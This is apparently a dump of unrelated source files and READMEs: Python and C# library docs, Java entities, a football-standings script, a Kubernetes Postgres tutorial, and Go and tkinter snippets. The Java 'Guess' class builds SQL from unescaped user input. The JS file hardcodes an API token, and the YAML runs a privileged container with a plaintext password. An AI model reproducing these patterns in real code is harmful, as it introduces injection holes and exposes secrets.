and it must order by data sections.<br/> Type:<br/> is type of field (for example if the first section type in the data.txt is string so Type in the Filed1 must be string).<br/> *Note: supported type: [string , char , int , double , decimal , byte , bool]<br/> Title:<br/> is a property name for elemnet.( for example first element in the data.txt is name so Title Value in the Filed1 must be name)<br/> *Note:Title Value must be match with your class property name. for example if Title value is Age you must craete a class that have a property with Age name.<br/> TERMINATOR:<br/> specifid delimiter for field. (for example in the "alireza,p,0010000000,24,http://github.com/alirezap" section splited with ',' so TERMINATOR for each fields must be ',') Full Example:<br/> data.txt:<br/> [alireza,p,0010000000,24,http://github.com/alirezap][ali,pa,0010000230,25,http://nuget.org/alirezap] syntax.xml:<br/> <?xml version="1.0" encoding="UTF-8"?> <body> <syntax> <record StartWith="[" EndWith="]"/> </syntax> <content> <FIELD1 ID="1" Type="string" Title="name" TERMINATOR=","/> <FIELD2 ID="2" Type="string" Title="lastname" TERMINATOR=","/> <FIELD3 ID="3" Type="string" Title="shenasname" TERMINATOR=","/> <FIELD4 ID="4" Type="int" Title="age" TERMINATOR=","/> <FIELD5 ID="5" Type="string" Title="url" TERMINATOR="]"/> </content> </body> now in the code:<br/> define a class for batch file:<br/> class student { public string name { get; set; } public string lastname { get; set; } public int age { get; set; } public string shenasname { get; set; } public string url { get; set; } } then call parsefile:<br/> student myObj = new student(); student[] res = batch.ParseFile("e:\\data.txt", "e:\\syntax.xml", myObj); foreach(student s in res) { Console.WriteLine("{0} {1} {2} {3} {4}", s.name, s.lastname, s.age, s.shenasname, s.url); } Other Sample For Batch Parser:<br/> data.txt: (without boundary)<br/> alireza,paridar,0010000000,24,http://github.com/alirezap,ali,pari,0010000230,25,http://nuget.org/alirezap, syntax.xml: (without boundary StartWith and EndWith value is null)<br/> <?xml version="1.0" encoding="UTF-8"?> <body> <syntax> <record StartWith="" EndWith=""/> </syntax> <content> <FIELD1 ID="1" Type="string" Title="name" TERMINATOR="," MAX_LENGTH="30"/> <FIELD2 ID="2" Type="string" Title="lastname" TERMINATOR="," MAX_LENGTH="30"/> <FIELD3 ID="3" Type="string" Title="shenasname" TERMINATOR="," MAX_LENGTH="30"/> <FIELD4 ID="4" Type="int" Title="age" TERMINATOR="," MAX_LENGTH="3"/> <FIELD5 ID="5" Type="string" Title="url" TERMINATOR="," MAX_LENGTH="50"/> </content> </body> in the code:<br/> define a class for batch file:<br/> class student { public string name { get; set; } public string lastname { get; set; } public int age { get; set; } public string shenasname { get; set; } public string url { get; set; } } then call parsefile:<br/> student myObj = new student(); student[] res = batch.ParseFile("e:\\data.txt", "e:\\syntax.xml", myObj); foreach(student s in res) { Console.WriteLine("{0} {1} {2} {3} {4}", s.name, s.lastname, s.age, s.shenasname, s.url); } Refrence: https://msdn.microsoft.com/en-us/library/cc189056(v=vs.95).aspx http://www.codeproject.com/Tips/377446/BIM-ISO (BIM_ISO8583 ) http://epplus.codeplex.com/
Markdown
UTF-8
5,446
3.609375
4
[ "MIT" ]
permissive
# Contextfun [![license](https://img.shields.io/badge/license-MIT-blue.svg)](https://github.com/mittelholcz/contextfun/blob/master/LICENSE) [![pypi](https://img.shields.io/badge/pypi-0.7.0-blue.svg)](https://pypi.org/project/contextfun/) The *contextfun* python package provides functions for context-based filtering and mapping. We can filter a list with the Python's own [*filter()*](https://docs.python.org/3/library/functions.html#filter) function, based on the properties of items. For example, we can filter out prime numbers (`filter(is_prime, range(10))`). But what if we are interested in numbers standing in the list before prime numbers? Or numbers that have at least two prime numbers in their three radius context? Similarly, we can replace items in a list, based on their properties with Python's own [*map()*](https://docs.python.org/3/library/functions.html#map>) function. For example, we can replace prime numbers with zeros (`map(lambda x: 0 if is_prime(x) else x, range(10))`). But what if we want replace numbers standing in the list after prime numbers? Or numbers that have at most three prime numbers in their context? This package can help to resolve this problem with their *contextual_filter()* and *contextual_map()* functions. ## 1 Install You can install *contextfun* easily from PyPI: ```shell pip install contextfun ``` ## 2 Usage ### 2.1 Filtering **contextual_filter**(*iterable, predicate, before=0, after=0, quantifier=all*) With *contextual_filter* we can filter items of iterables based on their context. The function returns a generator of the filtered items. *iterable*: The iterable to filter. *predicate*: A function which can be applied for items of the context. Its input is an item of the *iterable*, its output is Boolean (`predicate(obj: object) -> bool`). The context can be defined with the parameters *before* and *after*. The context of an item consists of the *before* items standing in the iterable before it, and the *after* items following it. The current item itself is never a part of its context. The context is truncated at the beginning and the end of the iterable. For example, the -1, +2 context (`before=1, after=2`) of the items in the list `[1, 2, 3, 4, 5]` are 1: (2, 3) 2: (1, 3, 4) 3: (2, 4, 5) 4: (3, 5) 5: (4) *quantifier*: This parameter allows you to specify the part of the context for which the *predicate* should be true. Default is Python's own [*all*](https://docs.python.org/3/library/functions.html#all) function. In this case, the *predicate* should be true for all items of the context. You can also choose the [*any*](https://docs.python.org/3/library/functions.html#any) function from the built-in functions. According to this, the *predicate* must be true for at least one item of the context. You can also write your own custom function with the following restrictions: (1) The only parameter of the function is the `(predicate(x) for x in context)` generator, and (2) the return value should be Boolean. For example, the 'up to two' can be represented as `lambda context: sum((1 for x in context if x)) <= 2`. Remark: The default behavior (`quantifier=all`) may seem strange for empty contexts, e.g. ```python >>> for i in contextual_filter([1], lambda x: x%5==0, after=2): ... print(i) 1 ``` This is not a bug but follows the principles of predicate logic (see [vacuous truth](https://en.wikipedia.org/wiki/Vacuous_truth)). ### 2.2 Mapping **contextual_map**(*iterable, mapping, predicate, before=0, after=0, quantifier=all*) With *contextual_map* you can map an iterable based on the context of its items. This function returns a generator of the mapped iterable. The parameters are the same as that of *contextual_filter()* except the *mapping* parameter. It should be callable and will be applied for the items of the iterable if its context fulfils the conditions represented by *predicate* and *quantifier*. ### 2.3 Examples Look for words in a text after 'the': ```python >>> from contextfun import contextual_filter >>> text = '''Alright but apart from the sanitation the medicine education ... wine public order irrigation roads the fresh-water system and public ... health what have the Romans ever done for us?'''.split() >>> pred = lambda word: word == 'the' >>> for word in contextual_filter(text, pred, before=1, quantifier=any): ... print(word) sanitation medicine fresh-water Romans ``` Highlight the words after the word 'the' in a text: ```python >>> from contextfun import contextual_map >>> highlighter = lambda word: f'<b>{word}</b>' >>> words = contextual_map(text, highlighter, pred, before=1, quantifier=any) >>> ' '.join(words) 'Alright but apart from the <b>sanitation</b> the <b>medicine</b> education wine public order irrigation roads the <b>fresh-water</b> system and public health what have the <b>Romans</b> ever done for us?' ``` ## 3 Development setup Requirements: * bash * make * python3.7 * [pipenv](https://pipenv.readthedocs.io/en/latest/) Install other development dependencies: ```shell make dev ``` Run automated test-suite: ```shell make test ``` ## 4 Release history * 0.5.0 * Work in progress * 0.6.0 * initial release * 0.6.1 * updated readme * 0.7.0 * performance improvement ## 5 Acknowledgments * [@esztersimon](https://github.com/esztersimon) * [@sassbalint](https://github.com/sassbalint) * [@takdavid](https://github.com/takdavid)
Java
UTF-8
9,420
2.125
2
[]
no_license
package com.oneshoppoint.yates.model; import javax.persistence.*; /** * Created by robinson on 4/6/16. */ @Entity @Table(name="orders") public class Order extends Model { private String invoiceNo; private String customerFirstname; private String customerLastname; private String customerPhoneNumber; private String customerEmail; private String customerStreetAddress; private String customerResidentialName; private String customerLocation; private String productUUID; private String productName; private Double productPrice; private Integer productQuantity; private Double productTotalPrice; private String retailerName; private String retailerPhoneNumber; private String retailerEmail; private String retailerStreetAddress; private String retailerResidentialName; private String retailerLocation; private String retailerPayBillNo; private String retailerTransactionCode; private String carrierPlan; private String carrierName; private String carrierPhoneNumber; private String carrierEmail; private String carrierStreetAddress; private String carrierResidentialName; private String carrierLocation; private String carrierPayBillNo; private Double carrierPrice; private String carrierTransactionCode; private String status; public void setInvoiceNo (String invoiceNo) { this.invoiceNo = invoiceNo; } public String getInvoiceNo () { return this.invoiceNo; } public void setCustomerFirstname (String customerFirstname) { this.customerFirstname = customerFirstname; } @Column(name="customer_firstname",nullable = false) public String getCustomerFirstname() { return customerFirstname; } public void setCustomerLastname (String customerLastname) { this.customerLastname = customerLastname; } @Column(name="customer_lastname",nullable = false) public String getCustomerLastname() { return customerLastname; } public void setCustomerPhoneNumber (String customerPhoneNumber) { this.customerPhoneNumber = customerPhoneNumber; } @Column(name="customer_phonenumber",nullable = false) public String getCustomerPhoneNumber() { return customerPhoneNumber; } public void setCustomerEmail (String customerEmail) { this.customerEmail = customerEmail; } @Column(name="customer_email",nullable = false) public String getCustomerEmail() { return customerEmail; } public void setCustomerStreetAddress (String customerStreetAddress) { this.customerStreetAddress = customerStreetAddress; } @Column(name="customer_street_address",nullable = false) public String getCustomerStreetAddress() { return customerStreetAddress; } public void setCustomerResidentialName (String customerResidentialName) { this.customerResidentialName = customerResidentialName; } @Column(name="customer_residential_name",nullable = false) public String getCustomerResidentialName() { return customerResidentialName; } public void setCustomerLocation (String customerLocation) { this.customerLocation = customerLocation; } @Column(name="customer_location",nullable = false) public String getCustomerLocation() { return customerLocation; } public void setProductUUID (String productUUID) { this.productUUID = productUUID; } @Column(name="product_UUID",nullable = false) public String getProductUUID() { return productUUID; } public void setProductName (String productName) { this.productName = productName; } @Column(name="product_name",nullable = false) public String getProductName() { return productName; } public void setProductPrice (Double productPrice) { this.productPrice = productPrice; } @Column(name="product_price",nullable = false) public Double getProductPrice() { return productPrice; } public void setProductQuantity (Integer productQuantity) { this.productQuantity = productQuantity; } @Column(name="product_quantity",nullable = false) public Integer getProductQuantity() { return productQuantity; } public void setProductTotalPrice (Double productTotalPrice) { this.productTotalPrice = productTotalPrice; } @Column(name="product_total_price",nullable = false) public Double getProductTotalPrice() { return productTotalPrice; } public void setRetailerName (String retailerName) { this.retailerName = retailerName; } @Column(name="retailer_name",nullable = false) public String getRetailerName(){ return retailerName; } public void setRetailerPhoneNumber (String retailerPhoneNumber) { this.retailerPhoneNumber = retailerPhoneNumber; } @Column(name="retailer_phonenumber",nullable = false) public String getRetailerPhoneNumber(){ return retailerPhoneNumber; } public void setRetailerEmail (String retailerEmail) { this.retailerEmail = retailerEmail; } @Column(name="retailer_email",nullable = false) public String getRetailerEmail(){ return retailerEmail; } public void setRetailerStreetAddress (String retailerStreetAddress) { this.retailerStreetAddress = retailerStreetAddress; } @Column(name="retailer_street_address",nullable = false) public String getRetailerStreetAddress(){ return retailerStreetAddress; } public void setRetailerResidentialName (String retailerResidentialName) { this.retailerResidentialName = retailerResidentialName; } @Column(name="retailer_residential_name",nullable = false) public String getRetailerResidentialName(){ return retailerResidentialName; } public void setRetailerLocation (String retailerLocation) { this.retailerLocation = retailerLocation; } @Column(name="retailer_location",nullable = false) public String getRetailerLocation(){ return retailerLocation; } public void setRetailerPayBillNo (String retailerPayBillNo) { this.retailerPayBillNo = retailerPayBillNo; } @Column(name="retailer_pay_bill_no",nullable = false) public String getRetailerPayBillNo(){ return retailerPayBillNo; } public void setRetailerTransactionCode (String retailerTransactionCode) { this.retailerTransactionCode = retailerTransactionCode; } @Column(name="retailer_transaction_code",nullable = false) public String getRetailerTransactionCode(){ return retailerTransactionCode; } public void setCarrierPlan (String carrierPlan) { this.carrierPlan = carrierPlan; } @Column(name="carrier_plan") public String getCarrierPlan() { return carrierPlan; } public void setCarrierName (String carrierName) { this.carrierName = carrierName; } @Column(name="carrier_name") public String getCarrierName() { return carrierName; } public void setCarrierPhoneNumber (String carrierPhoneNumber) { this.carrierPhoneNumber = carrierPhoneNumber; } @Column(name="carrier_phonenumber") public String getCarrierPhoneNumber() { return carrierPhoneNumber; } public void setCarrierEmail (String carrierEmail) { this.carrierEmail = carrierEmail; } @Column(name="carrier_email") public String getCarrierEmail() { return carrierEmail; } public void setCarrierStreetAddress (String carrierStreetAddress) { this.carrierStreetAddress = carrierStreetAddress; } @Column(name="carrier_street_address") public String getCarrierStreetAddress() { return carrierStreetAddress; } public void setCarrierResidentialName (String carrierResidentialName) { this.carrierResidentialName = carrierResidentialName; } @Column(name="carrier_residential_name") public String getCarrierResidentialName() { return carrierResidentialName; } public void setCarrierLocation (String carrierLocation) { this.carrierLocation = carrierLocation; } @Column(name="carrier_location") public String getCarrierLocation() { return carrierLocation; } public void setCarrierPayBillNo (String carrierPayBillNo) { this.carrierPayBillNo = carrierPayBillNo; } @Column(name="carrier_pay_bill_no") public String getCarrierPayBillNo() { return carrierPayBillNo; } public void setCarrierTransactionCode (String carrierTransactionCode) { this.carrierTransactionCode = carrierTransactionCode; } @Column(name="carrier_transaction_code") public String getCarrierTransactionCode(){ return carrierTransactionCode; } public void setCarrierPrice (Double carrierPrice) { this.carrierPrice = carrierPrice; } @Column(name="carrier_price") public Double getCarrierPrice() { return carrierPrice; } public void setStatus (String status) { this.status = status; } @Column(name="order_status",nullable = false) public String getStatus() { return status; } }
JavaScript
UTF-8
9,962
2.921875
3
[]
no_license
/* Goal: Have the images and information correspond to the correct team Write functions for a first place to a 5th place team */ fetch('http://api.football-data.org/v2/competitions/2021/standings', { headers: { 'X-Auth-Token': '49f98870ef244fa5b61b175735463b0c' } }) .then((res) => { return res.json() }) .then((resJSON) => { determineFirstPlace(resJSON); determineSecondPlace(resJSON); determineThirdPlace(resJSON); determineFourthPlace(resJSON); determineFifthPlace(resJSON); console.log(resJSON); }) const images = { 'Chelsea FC': 'https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQmC4qhtmPhNFg41YUD9PAYCWloP51x1r2XVw&usqp=CAU', 'Liverpool FC': 'https://d3j2s6hdd6a7rg.cloudfront.net/v2/uploads/media/default/0002/18/thumb_117150_default_news_size_5.jpeg', 'Manchester City FC': 'https://c.ndtvimg.com/2021-01/74bujqo_manchester-city-celebrate-afp_625x300_29_January_21.jpg', 'Manchester United FC': 'https://manchesterunitedlatestnews.com/wp-content/uploads/2020/07/Manchester-United-predicted-line-up-vs-West-Ham-Starting-XI-for-today.jpg', 'Everton FC': 'https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS1J7LJD-8G7N-nQQa14SqpBTV9wfWF8CQZ1g&usqp=CAU', 'Brighton & Hove Albion FC': 'https://www.theargus.co.uk/resources/images/13072419/?type=responsive-gallery', 'Brentford FC': 'https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSdzzCWdRP6cO9Q3J-s3cUP2d2NfXEYMxAwJg&usqp=CAU', 'Tottenham FC': 'https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTD5vakbalW15znhIFZQHd2_jyuBj_ccYUt_g&usqp=CAU', 'West Ham United FC': 'https://www.whufc.com/sites/default/files/inline-images/fixtures726_0.jpg', 'Aston Villa FC': 'https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQgTC9pmLeAWVV5NpRNgk6yiGgrPSt0NaYuKQ&usqp=CAU', 'Arsenal FC': 'https://s.hs-data.com/bilder/teamfotos/640x360/555.jpg', } const team1 = document.getElementById('team1'); const image1 = document.createElement('img'); const teamName1 = document.querySelector('.tteam1'); const team2 = document.getElementById('team2'); const image2 = document.createElement('img'); const teamName2 = document.querySelector('.tteam2'); const team3 = document.getElementById('team3'); const image3 = document.createElement('img'); const teamName3 = document.querySelector('.tteam3'); const team4 = document.getElementById('team4'); const image4 = document.createElement('img'); const teamName4 = document.querySelector('.tteam4') const team5 = document.getElementById('team5'); const image5 = document.createElement('img'); const teamName5 = document.querySelector('.tteam5'); let determineFirstPlace = (league) => { let position = league.standings[0].table; let rank1 = position[0].team.name; teamName1.innerText = position[0].team.name; if (rank1 === "Chelsea FC") { image1.src = images['Chelsea FC'] team1.prepend(image1) } else if (rank1 === "Liverpool FC") { image1.src = images['Liverpool FC'] team1.prepend(image1); } else if (rank1 === "Manchester City FC") { image1.src = images['Manchester City FC'] team1.prepend(image1) } else if (rank1 === "Manchester United FC") { image1.src = images['Manchester United FC'] team1.prepend(image1) } else if (rank1 === "Everton FC") { image1.src = images['Everton FC'] team1.prepend(image1) } else if (rank1 === "Brighton & Hove Albion FC") { image1.src = images['Brighton & Hove Albion FC'] team1.prepend(image1) } else if (rank1 === "Brentford FC") { image1.src = images['Brentford FC'] team1.prepend(image1) } else if (rank1 === "Tottenham Hotspur FC") { image1.src = images['Tottenham FC'] team1.prepend(image1) } else if (rank1 === "West Ham United FC") { image1.src = images['West Ham United FC'] team1.prepend(image1) } else if (rank1 === 'Aston Villa FC') { image1.src = images['Aston Villa FC'] team1.prepend(image1) } else if (rank1 === 'West Ham United FC') { image1.src = images['West Ham United FC'] team1.prepend(image1) } }; const determineSecondPlace = (league) => { let position = league.standings[0].table; let rank2 = position[1].team.name; teamName2.innerText = position[1].team.name; if (rank2 === "Chelsea FC") { image2.src = images['Chelsea FC'] team2.append(image2) } else if (rank2 === "Liverpool FC") { image2.src = images['Liverpool FC'] team2.append(image2); } else if (rank2 === 'Manchester City FC') { image2.src = images['Manchester City FC'] team2.prepend(image2) } else if (rank2 === 'Manchester United FC') { image2.src = images['Manchester United FC'] team2.prepend(image2) } else if (rank2 === 'Everton FC') { image2.src = images['Everton FC'] team2.prepend(image2) } else if (rank2 === 'Brighton & Hove Albion FC') { image2.src = images['Brighton & Hove Albion FC'] team2.prepend(image2) } else if (rank2 === 'Brentford FC') { image2.src = images['Brentford FC'] team2.prepend(image2) } else if (rank2 === 'Tottenham Hotspur FC') { image2.src = images['Tottenham FC'] team2.prepend(image2) } else if (rank2 === 'West Ham United FC') { image2.src = images['West Ham United FC'] team2.prepend(image2) } else if (rank2 === 'Aston Villa FC') { image2.src = images['Aston Villa FC'] team2.prepend(image2) } else if (rank2 === 'Arsenal FC') { image2.src = images['Arsenal FC'] team2.prepend(image2) } }; const determineThirdPlace = (league) => { let position = league.standings[0].table; let rank3 = position[2].team.name; teamName3.innerText = position[2].team.name; if (rank3 === "Chelsea FC") { image3.src = images['Chelsea FC'] team3.append(image3) } else if (rank3 === "Liverpool FC") { image3.src = images['Liverpool FC'] team3.append(image3); } else if (rank3 === 'Manchester City FC') { image3.src = images['Manchester City FC'] team3.prepend(image3) } else if (rank3 === 'Manchester United FC') { image3.src = images['Manchester United FC'] team3.prepend(image3) } else if (rank3 === 'Everton FC') { image3.src = images['Everton FC'] team3.prepend(image3) } else if (rank3 === 'Brighton & Hove Albion FC') { image3.src = images['Brighton & Hove Albion FC'] team3.prepend(image3) } else if (rank3 === 'Brentford FC') { image3.src = images['Brentford FC'] team3.prepend(image3) } else if (rank3 === 'Tottenham Hotspur FC') { image3.src = images['Tottenham FC'] team3.prepend(image3) } else if (rank3 === 'West Ham United FC') { image3.src = images['West Ham United FC'] team3.prepend(image3) } else if (rank3 === 'Aston Villa FC') { image3.src = images['Aston Villa FC'] team3.prepend(image3) } else if (rank3 === 'Arsenal FC') { image3.src = images['Arsenal FC'] team3.prepend(image3) } }; const determineFourthPlace = (league) => { let position = league.standings[0].table; let rank4 = position[3].team.name; teamName4.innerText = position[3].team.name; if (rank4 === "Chelsea FC") { image4.src = images['Chelsea FC'] team4.append(image4) } else if (rank4 === "Liverpool FC") { image4.src = images['Liverpool FC'] team4.append(image4); } else if (rank4 === 'Manchester City FC') { image4.src = images['Manchester City FC'] team4.prepend(image4) } else if (rank4 === 'Manchester United FC') { image4.src = images['Manchester United FC'] team4.prepend(image4) } else if (rank4 === 'Everton FC') { image4.src = images['Everton FC'] team4.prepend(image4) } else if (rank4 === 'Brighton & Hove Albion FC') { image4.src = images['Brighton & Hove Albion FC'] team4.prepend(image4) } else if (rank4 === 'Brentford FC') { image4.src = images['Brentford FC'] team4.prepend(image4) } else if (rank4 === 'Tottenham Hotspur FC') { image4.src = images['Tottenham FC'] team4.prepend(image4) } else if (rank4 === 'West Ham United FC') { image4.src = images['West Ham United FC'] team4.prepend(image4) } else if (rank4 === 'Aston Villa FC') { image4.src = images['Aston Villa FC'] team4.prepend(image4) } else if (rank4 === 'Arsenal FC') { image4.src = images['Arsenal FC'] team4.prepend(image4) } }; const determineFifthPlace = (league) => { let position = league.standings[0].table; let rank5 = position[4].team.name; teamName5.innerText = position[4].team.name; if (rank5 === "Chelsea FC") { image5.src = images['Chelsea FC'] team5.append(image5) } else if (rank5 === "Liverpool FC") { image5.src = images['Liverpool FC'] team5.append(image5); } else if (rank5 === 'Manchester City FC') { image5.src = images['Manchester City FC'] team5.prepend(image5) } else if (rank5 === 'Manchester United FC') { image5.src = images['Manchester United FC'] team5.prepend(image5) } else if (rank5 === 'Everton FC') { image5.src = images['Everton FC'] team5.prepend(image5) } else if (rank5 === 'Brighton & Hove Albion FC') { image5.src = images['Brighton & Hove Albion FC'] team5.prepend(image5) } else if (rank5 === 'Brentford FC') { image5.src = images['Brentford FC'] team5.prepend(image5) } else if (rank5 === 'Tottenham Hotspur FC') { image5.src = images['Tottenham FC'] team5.prepend(image5) } else if (rank5 === 'West Ham United FC') { image5.src = images['West Ham United FC'] team5.prepend(image5) } else if (rank5 === 'Aston Villa FC') { image5.src = images['Aston Villa FC'] team5.prepend(image5) } else if (rank5 === 'Arsenal FC') { image5.src = images['Arsenal FC'] team5.prepend(image5) } };
Markdown
UTF-8
2,886
3.015625
3
[]
no_license
Now that we have seen the basics of how the YAML files are written, let's start building out the db.yaml file. 1. Create a file named `db.yaml` in the workshop directory: `touch ~/workshop/db.yaml`{{execute}} 2. The following code is a good starting point for our Postgres database. You'll notice that we added another label and some other keys. Copy the YAML and paste it into your new db.yaml file in the IDE. <pre class="file" data-target="clipboard"> apiVersion: apps/v1 kind: Deployment metadata: labels: service: db app: ecommerce name: db spec: replicas: 1 selector: matchLabels: service: db app: ecommerce template: metadata: labels: service: db app: ecommerce spec: containers: - image: postgres:11-alpine name: postgres securityContext: privileged: true ports: - containerPort: 5432 env: - name: POSTGRES_PASSWORD value: "password" - name: POSTGRES_USER value: "user" - name: PGDATA value: "/var/lib/postgresql/data/mydata" resources: {} volumeMounts: - mountPath: /var/lib/postgresql/data name: postgresdb volumes: - name: postgresdb --- apiVersion: v1 kind: Service metadata: creationTimestamp: null labels: app: ecommerce service: db name: db spec: ports: - port: 5432 protocol: TCP targetPort: 5432 selector: app: ecommerce service: db status: loadBalancer: {} </pre> 3. You can apply this configuration by running `kubectl apply -f db.yaml`{{execute T1}} from the terminal. If you get an error like **the path db.yaml does not exist** you are not in the correct directory. Make sure you are in the **/root/workshop** directory when you run the apply command. Note: *if anything in this file or any of the other yaml files in this scenario are new to you, then visit https://kubernetes.io/docs/home/ and search for the keyword that is not clear.* 4. As you start to work with kubernetes, typing **kubectl** every time gets a bit tiresome. When you ran the setup script, an alias for kubectl was create like this: `alias k=kubectl`. This is a pretty common alias on a lot of systems. So try running `k apply -f db.yaml`{{execute T1}}. 5. There are still some things we should do like create a persistent volume and not specify the password here, but this will work for our first pass. 6. Run `k get pods`{{execute}} to ensure the database pod has started. In the next step, we will take a look at deploying one of the components of the actual web app.
JavaScript
UTF-8
105
2.90625
3
[]
no_license
/*Decrement operator is -- in JavaScript*/ var myVar = 11; // Only change code below this line myVar--;
Go
UTF-8
1,543
3.796875
4
[]
no_license
package main import ( "fmt" "time" ) var i int // índice do array var array [30]string // array de 'caracteres' var flags [3]chan int // canais de sincronização var end chan int // canal para join dos trabalhos finalizados type contexto struct { // estrutura contexto para as três linhas de execução flag int next int max int toWrite string } func trabalho(ctx *contexto) { // corpo de 'thread' fmt.Printf("Thread %+v started\n", ctx) for i <= ctx.max { // laço de preenchimento colaborativo do array <-flags[ctx.flag] fmt.Printf("Thread %d to write [%s] on %d\n", ctx.flag, ctx.toWrite, i) array[i] = ctx.toWrite i++ if i >= ctx.max { end <- 1 } flags[ctx.next] <- 1 } fmt.Printf("Thread %d exiting\n", ctx.next) end <- 1 } func printArray() { for i := 0; i < 30; i++ { fmt.Printf("%s,", array[i]) } fmt.Printf("\n") } func main() { // ponto de entrada da aplicação i = 0 for j := 0; j < 30; j++ { // zerando o array array[j] = "?" } // a correta configuração do contexto é importante flags[0] = make(chan int) flags[1] = make(chan int) flags[2] = make(chan int) end = make(chan int) ctx1 := contexto{flag: 0, next: 1, max: 27, toWrite: "a"} ctx2 := contexto{flag: 1, next: 2, max: 28, toWrite: "b"} ctx3 := contexto{flag: 2, next: 0, max: 29, toWrite: "c"} go trabalho(&ctx1) go trabalho(&ctx2) go trabalho(&ctx3) // começando tudo flags[0] <- 1 <-end <-end <-end time.Sleep(time.Second) fmt.Printf("Resultado:\n") printArray() }
Java
UTF-8
5,383
2.40625
2
[]
no_license
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package model; import java.util.ArrayList; import java.util.Arrays; import static model.Lib.loadTable; import static model.Manager.availableSlot; public class Guess { DB db = new DB(); public ArrayList<ArrayList<String>> loadTableParkingInfo(){ String select = "parking_info.id, parking_info.name, parking_info.address,parking_info.capacity, " + "GROUP_CONCAT(typeofvehicle.name ) as typeofvehicle,parking_info.over_night "; String table = "parking_info, typeofvehicle , parking_vehicle"; String condition = "parking_info.id = parking_vehicle.parking_id \n" + "AND parking_vehicle.typeofvehicle = typeofvehicle.id \n" + "GROUP BY parking_info.id"; if(db.selectQuick(select, table, condition )){ if(db.kq == null || db.kq.size() < 1 ) return null; else { ArrayList<ArrayList<String>> getParkingInfo = db.kq; for (int i = 0; i < getParkingInfo.size(); i++) { getParkingInfo.get(i).add(0,String.valueOf(i+1)); getParkingInfo.get(i).add(4,availableSlot(getParkingInfo.get(i).get(0))); } return getParkingInfo; }} return null; } public ArrayList<ArrayList<String>> timKiemBaiDo(String name, String address, boolean overnight, String typeVehicle){ typeVehicle = typeVehicle.replaceAll("\\s+", " "); typeVehicle = typeVehicle.replace(", ", ","); String select = "parking_info.id, parking_info.name, parking_info.address,parking_info.capacity, " + "GROUP_CONCAT(DISTINCT typeofvehicle.name ) as typeofvehicle,parking_info.over_night "; String table = "parking_info, typeofvehicle , parking_vehicle"; String condition = "parking_info.id = parking_vehicle.parking_id \n" + "AND parking_vehicle.typeofvehicle = typeofvehicle.id " ; if(name != null && name.length() > 0) condition += " AND parking_info.name like '%" + name + "%' "; if(address != null && address.length() > 0) condition += " AND parking_info.address like '%" + address + "%' "; if(overnight) condition += " AND parking_info.over_night is not null "; if(typeVehicle != null && typeVehicle.length() > 0) { condition += " AND typeofvehicle.name like '" + typeVehicle + "' "; } condition = condition.replaceAll("\\s+", " ").trim().toLowerCase(); condition = condition.replace("AND AND", "AND"); if(condition.length() >= 3 && condition.substring(0,3).equalsIgnoreCase("AND")) condition = condition.substring(3).trim(); if(condition.length() >= 3 &&condition.substring(condition.length() - 3,condition.length()).equalsIgnoreCase("AND")) condition = condition.substring(0,condition.length() - 3).trim(); condition += " GROUP BY parking_info.id "; System.out.println(condition); DB db = new DB(); if(db.selectQuick(select, table, condition )){ if(db.kq == null || db.kq.size() < 1) { return null; } else { ArrayList<ArrayList<String>> getParkingInfo = db.kq; for (int i = 0; i < getParkingInfo.size(); i++) { getParkingInfo.get(i).add(0,String.valueOf(i+1)); String parking_id = getParkingInfo.get(i).get(1); String strTypeVehicle = ""; System.out.println(parking_id); if(Lib.checkNumeric(parking_id)){ ArrayList<String> arrTypeVehicle = getTypeVehicle(parking_id); if(arrTypeVehicle != null && arrTypeVehicle.size() > 0){ for (int j = 0; j < arrTypeVehicle.size(); j++) { strTypeVehicle += arrTypeVehicle.get(j); if(j < arrTypeVehicle.size() - 1) strTypeVehicle += ","; } } } strTypeVehicle = strTypeVehicle.trim(); if(strTypeVehicle.length() > 0) getParkingInfo.get(i).set(5, strTypeVehicle); getParkingInfo.get(i).add(4,new Admin().availableSlot(getParkingInfo.get(i).get(0))); } return getParkingInfo; }} else return null; } //Trả về danh dách các loại xe mà bãi xe có thể chứa public static ArrayList<String> getTypeVehicle(String parking_id){ DB db = new DB(); String condition = " "; if(!Lib.checkNumeric(parking_id)) condition = " 1 ORDER BY LENGTH(typeofvehicle.name) DESC"; else condition = " parking_info.id = " + parking_id + " AND parking_info.id = parking_vehicle.parking_id AND parking_vehicle.typeofvehicle = typeofvehicle.id ORDER BY LENGTH(typeofvehicle.name) DESC "; if(db.selectQuick("distinct(typeofvehicle.name)", "typeofvehicle, parking_info,parking_vehicle", condition )){ if(db.kq == null || db.kq.size() < 1) return null; ArrayList<String> kkq = new ArrayList<String>(); for (int i = 0; i < db.kq.size(); i++) { kkq.add(db.kq.get(i).get(0)); } return kkq; } else return null; } }
Python
UTF-8
364
3.375
3
[]
no_license
from tkinter import * def inc(): global n n.set(n.get() + 1) print("hello") def dec(): global n n.set(n.get() - 1) print("hello") root = Tk() n = IntVar() root.title("updown") Button(root, text = "UP", command = inc).pack() Button(root, text = "DOWN", command = dec).pack() l = Label(root, textvariable = n) l.pack() root.mainloop()
Markdown
UTF-8
6,260
3.03125
3
[]
no_license
